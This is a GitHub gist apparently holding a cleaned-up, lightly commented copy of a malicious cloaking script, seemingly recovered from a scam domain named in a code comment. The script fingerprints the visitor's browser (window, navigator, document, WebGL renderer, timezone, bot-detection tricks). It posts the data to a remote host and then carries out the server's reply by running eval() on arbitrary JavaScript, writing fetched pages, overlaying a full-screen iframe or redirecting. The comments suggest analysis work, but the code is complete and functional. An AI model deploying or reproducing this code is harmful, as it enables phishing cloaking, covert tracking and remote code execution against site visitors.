Skip to content

Instantly share code, notes, and snippets.

@kognise
Last active May 30, 2023 20:00
Show Gist options
  • Save kognise/bada11a640286cc620791b5425433822 to your computer and use it in GitHub Desktop.
Save kognise/bada11a640286cc620791b5425433822 to your computer and use it in GitHub Desktop.
window._adata = {
action: 'js',
target: 'console.log("BOT!!!");',
js: false,
ok: false,
cid: '4cb2bdd5e1b96a87d439f65ad57e9039'
}
;(function () {
var errors = []
var collectedData = {}
// <script id=​"aHR0cHM6Ly90cmFuc2ZlcmRvY3VtZW50cy5vcmc=" src=​"https:​/​/​loteri-manager-documents.co.za/​ajax.php?__sid=5e782562-14a3-49f0-bb25-f62a8110d327&" class=​"iframe">​</script>​
var scriptElement = document.getElementById(btoa(window.location.origin))
function handleState(state) {
if (state.ok)
switch (state.action) {
case 'local':
case 'fetch':
var req = new XMLHttpRequest()
req.open('GET', state.target, false)
req.onreadystatechange = function () {
if (4 === this.readyState && 200 === this.status) {
document.open()
document.write(this.responseText)
document.close()
}
}
req.send()
break
case 'proxy':
case '301':
case '302':
case '303':
case 'refresh':
case 'meta':
case 'xar':
case 'xsf':
window.location.replace(state.target)
break
case 'iframe':
var iframe = document.createElement('iframe')
iframe.style.cssText =
'width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;'
iframe.src = state.target
state.target = iframe.outerHTML
case 'php':
document.open()
document.write(state.target)
document.close()
break
case 'js':
eval(state.target)
}
}
var initialState = window._adata
if (!initialState.js) return handleState(initialState)
try {
function serializeObj(object) {
if (typeof object === 'object' && object !== null) {
var result = {}
function addProperty(key) {
try {
var value = object[key]
switch (typeof value) {
case 'object':
if (value === null) break
case 'function':
value = value.toString()
}
result[key] = value
} catch (error) {
errors.push(error.message)
}
}
for (var key in object) addProperty(key)
try {
var ownKeys = Object.getOwnPropertyNames(object)
for (var i = 0; i < ownKeys.length; i++) addProperty(ownKeys[i])
result['!!'] = ownKeys
} catch (error) {
errors.push(error.message)
}
return result
}
}
collectedData.screen = serializeObj(window.screen)
collectedData.window = serializeObj(window)
collectedData.navigator = serializeObj(window.navigator)
collectedData.location = serializeObj(window.location)
collectedData.console = serializeObj(window.console)
collectedData.documentElement = (function (documentElement) {
// Get all attributes of the body element
try {
var attributes = {}
documentElement = documentElement.attributes
for (var attribute in documentElement)
(attribute = documentElement[attribute]),
(attributes[attribute.nodeName] = attribute.nodeValue)
return attributes
} catch (error) {
errors.push(error.message)
}
})(document.documentElement)
collectedData.document = serializeObj(document)
try {
collectedData.timezoneOffset = new Date().getTimezoneOffset()
} catch (error) {
errors.push(error.message)
}
try {
// A string like "function () {}" or whatever
collectedData.closure = function () {}['toString']()
} catch (error) {
errors.push(error.message)
}
try {
collectedData.touchEvent = document.createEvent('TouchEvent').toString()
} catch (error) {
errors.push(error.message)
}
try {
var fn = function () {}
var toStringCount = 0
fn.toString = function () {
toStringCount++
return ''
}
console.log(fn)
collectedData.tostring = toStringCount
} catch (error) {
errors.push(error.message)
}
try {
var gl = document.createElement('canvas').getContext('webgl')
var infoExt = gl.getExtension('WEBGL_debug_renderer_info')
collectedData.webgl = {
vendor: gl.getParameter(infoExt.UNMASKED_VENDOR_WEBGL),
renderer: gl.getParameter(infoExt.UNMASKED_RENDERER_WEBGL)
}
} catch (error) {
errors.push(error.message)
}
// Looks like this detects if canPlayType uses Array.includes
function protoHelper(type, key, fn) {
var originalPrototype = type.prototype[key]
type.prototype[key] = function () {
collectedData.proto = true
}
fn()
type.prototype[key] = originalPrototype
}
try {
protoHelper(Array, 'includes', function () {
return document.createElement('video').canPlayType('video/mp4')
})
} catch (error) {}
} catch (error) {
errors.push(error.message)
}
;(function () {
collectedData.errors = errors
collectedData.cid = initialState.cid
var body = new FormData()
body.append('data', JSON.stringify(collectedData))
var req = new XMLHttpRequest()
req.open('POST', scriptElement.getAttribute('src'), false)
req.onreadystatechange = function () {
if (4 === this.readyState && 200 === this.status) {
handleState(JSON.parse(this.responseText))
}
}
req.send(body)
})()
})()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment